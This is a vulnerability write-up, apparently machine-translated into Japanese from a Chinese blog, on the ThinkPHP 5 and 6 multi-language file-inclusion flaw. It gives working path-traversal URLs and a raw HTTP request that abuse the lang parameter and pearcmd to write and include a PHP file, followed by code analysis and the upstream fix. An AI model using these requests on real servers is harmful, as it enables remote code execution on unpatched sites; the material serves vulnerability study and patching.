Thinkphp5~6 の多言語ファイルには、rce 脆弱性の再発と詳細な分析が含まれています

Thinkphp5~6 の多言語ファイルには、rce 脆弱性の再発と詳細な分析が含まれています


目次

0x00 序文

0x01 影響範囲

0x02 thinkphp5環境構築と再現

2.1レース

0x03 thinkphp6 の再発

0x04 thinkphp5 分析

0x05 thinkphp6 分析

0x06 概要

0x07修正

0x08 リファレンス


 

0x00 序文

間違いがあれば修正してください。

0x01 影響範囲

脆弱なバージョン

Thinkphp、v6.0.1~v6.0.13、v5.0.x、v5.1.x

脆弱性のないバージョン

ThinkPHP >= 6.0.14
ThinkPHP >= 5.1.42

0x02 thinkphp5環境構築と再現

ここでは、公式 Web サイトから ThinkPHP5.0.24 のフルバージョンをダウンロードします。

https://www.thinkphp.cn/down/1278.html

次に、パブリックでアクセスする Web サイトのパスを指定します。

次に、多言語機能をオンにします。設定ファイルは以下の 2 つのファイルにあります。

多言語・ThinkPHP5.0完全開発マニュアル・Kanyun

config/app.php
application/config.php

'lang_switch_on'         => true,

PHP ファイルのみを含めることができるので、ここでは PHP ファイルを含めたい場所に作成し、アプリケーションと同じディレクトリに新しい test.php を作成します。

次にインクルードし、正常に実行します

http://127.0.0.1/?lang=../../test

2.1レース

rce が必要な場合は、pearcmd を使用する必要があります。pearcmd とは何ですか? 以下で私の以前の記事を読むことができます。pearcmd には、公式の php docker コンテナーが付属しています。PHP7.3 以前ではデフォルトでインストールされます。PHP7.4 以降では、後で、PHP をインストールするためにコンパイルするときに --with-pear を指定する必要があります。

そこで、ここでは docker を使用して、pearcmd が存在するかどうかのテストを行い、pearcmd が存在することを意味するエラー メッセージを返すことを示します。

http://10.68.1.3:5690/?lang=../../../../../../../../usr/local/lib/php/pearcmd

tmp ディレクトリに mo60.php ファイルを生成します。ここでは、パケットのキャプチャに burp が使用されます。URL 内の直接取得パラメータは、< 文字を自動的にエンコードします。

http://10.68.1.3:5690/?lang=../../../../../../../../usr/local/lib/php/pearcmd&+config-create+/<?=phpinfo()?>+/tmp/mo60.php

次に、含めます

http://10.68.1.3:5690/?lang=../../../../../../../../tmp/mo60

0x03 thinkphp6 の再発

dockerで直接起動

docker run -it -d -p 7070:80  vulfocus/thinkphp:6.0.12

thinkphp6 の多言語機能は app/middleware.php のマニュアルアドレスに設定されています

多言語・ThinkPHP6.0完全開発マニュアル・Kanyun

<?php
// 全局中间件定义文件
return [
    // 全局请求缓存
    // \think\middleware\CheckRequestCache::class,
    // 多语言加载
    \think\middleware\LoadLangPack::class,
    // Session初始化
    // \think\middleware\SessionInit::class
];

それをチェックしてください

ここでは、上記の tp5 の方法に従うか、pearcmd を rce に呼び出しますが、値を cookie 経由で渡して、tmp ディレクトリに mo60.php ファイルを生成します。

GET /public/index.php?+config-create+/<?=phpinfo()?>+/tmp/mo60.php HTTP/1.1
Host: host
accept: */*
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
DNT: 1
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Content-Length: 0
think-lang:../../../../../../../../usr/local/lib/php/pearcmd
Cookie: think_lang=zh-cn;
Connection: close

Cookie 内の think-lang を次のように変更できます。

think-lang:../../../../../../../../tmp/mo60

または get 経由で渡します

lang=../../../../../../../../tmp/mo60

0x04 thinkphp5 分析

thinkphp\library\think\App.php

多言語がオンになっている場合、Lang::detectメソッドが呼び出され、Lang::load言語パッケージをロードするために呼び出されます。これは、ファイルが含まれる場所です。制御可能なパラメータは であり$request->langset()、制御可能な値は次の方法で$Lang::range()取得されます。

thinkphp\library\think\Lang.php現在のクラスの range メンバー変数の値を返す range メソッドを見てみましょう。

この値のデフォルトは zh-cn です

次に、detect メソッドを見てみましょう。このメソッドは、まず get または cookie から値を取得し、それを ::$range 変数に割り当てます。

detect メソッドが戻ってアクセスする前にブレークポイントを設定します。

http://127.0.0.1/?lang=../../test

受信した ../../test が $langSet に与えられ、次に::$range に割り当てられていることがわかります。

thinkphp\library\think\App.php次のステップに戻り、 Lang::load をロードします。

渡したパスが含まれているだけです

この EXT 定数の値は .php です。

THINK_PATH . 'lang' . DS . $request->langset() . EXT,
APP_PATH . 'lang' . DS . $request->langset() . EXT,

Lang::load にブレークポイントを設定して、渡した値を確認します。

次に、渡したファイルパスを含めます

最後のステップは、test.php コンテンツを正常に実行することです。

0x05 thinkphp6 分析

ここでは、上記で再現した Docker でバージョン 6.0.12 を使用します。

app/middleware.php複数の言語を有効にする

または、アプリディレクトリと同じレベルに新しい test.php を作成します。

各ミドルウェアのハンドル関数が呼び出されますが、vendor\topthink\framework\src\think\middleware\LoadLangPack.phpメソッドの1行目でdetectが呼び出されます。

検出に続いて、GET["lang"]、HEADER["think-lang"]、および COOKIE["think_lang"] に値があるかどうかを判断し、実行中の言語でこの変数が空かどうかを判断するのは tp5 と同様です。デフォルトでは$this->config['allow_lang_list']値が返されます

detect で返された場所にブレークポイントを設定してアクセスすると、返された値が渡した値であることがわかります。

http://127.0.0.1/public/?lang=../../../../../test

ハンドル関数に戻ります。detect によって返された $langset がデフォルト言語 zh-cn と等しくない場合、この関数が呼び出されます。$this->lang->switchLangSet($langset)

vendor\topthink\framework\src\think\Lang.phpswitchLangSet 関数に続いて、load メソッドが呼び出されます。

スプライス後のパスは次のとおりですF:\phpstudy_pro\WWW\vendor\topthink\framework\src\lang\../../../../../test.php

load 関数を実行すると、渡されたパラメータがファイル名として直接使用されていることがわかります。まず、ファイルが存在するかどうかを確認し、存在する場合は、それを parse に渡します。

解析後、最初にサフィックス名を取得し、ファイルが php の場合はそのファイルをインクルードしていることがわかります。

0x06 概要

p丹生さんからの引用

複数の言語をサポートするために、ThinkPHP はユーザーが指定した lang パラメーターに従って、対応する言語パッケージをロードします。たとえば、lang パラメータ値が英語の場合、システムは en-us.php ファイルをロードし、中国語の場合、システムは zh-cn.php ファイルをロードします。ThinkPHP は lang パラメータをチェックしないため、「../」を使用してディレクトリをまたがり、他のディレクトリにある PHP ファイルを含めることができます。

コードはおそらく次のとおりです。

<?php
include LANG_DIR . $_REQUEST['lang'] . ".php";
?>

getshell を実行するにはまだ多くの条件を満たす必要があり、直接アクセスできない他の脆弱なコンポーネントがある場合、それらも悪用される可能性があります。

0x07修正

数か月前に正式に修正されました:

廃止されたメソッドを削除し、多言語検出を最適化する · top-think/framework@c4acb8b · GitHub

0x08 リファレンス

Thinkphp 多言語 RCE - ポッピング・キャンディー

おすすめ

転載: blog.csdn.net/weixin_57099902/article/details/132765395